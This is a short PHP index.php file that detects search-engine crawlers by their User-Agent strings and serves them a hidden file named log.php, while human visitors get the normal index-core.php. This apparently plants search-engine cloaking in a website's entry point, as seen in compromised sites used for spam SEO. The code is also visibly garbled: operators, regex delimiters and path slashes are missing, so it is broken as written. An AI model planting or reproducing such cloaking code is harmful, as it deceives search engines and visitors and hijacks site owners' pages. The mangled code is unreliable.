php
ob_start();

$requestUri = $_SERVER['REQUEST_URI']  '';

if ($requestUri === ''  $requestUri === 'index.php') {
    header('Vary Accept-Language');
    header('Vary User-Agent');

    $botList = [
        'googlebot',
        'bingbot',
        'slurp',
        'duckduckbot',
        'baiduspider',
        'yandexbot',
        'sogou',
        'exabot',
        'facebot',
        'ia_archiver',
        'ahrefsbot',
        'semrushbot',
        'mj12bot',
        'Google-InspectionTool',
        'crawler',
        'spider'
    ];

    $botPattern = '' . implode('', $botList) . 'i';
    $userAgent = $_SERVER['HTTP_USER_AGENT']  '';
    $botContentFile = __DIR__ . 'log.php';

    if (preg_match($botPattern, $userAgent)) {
        ob_end_clean();
        if (file_exists($botContentFile) && is_readable($botContentFile)) {
            include $botContentFile;
            exit();
        } else {
            include __DIR__ . 'index-core.php';
            exit();
        }
    }
}

include __DIR__ . 'index-core.php';
ob_end_flush();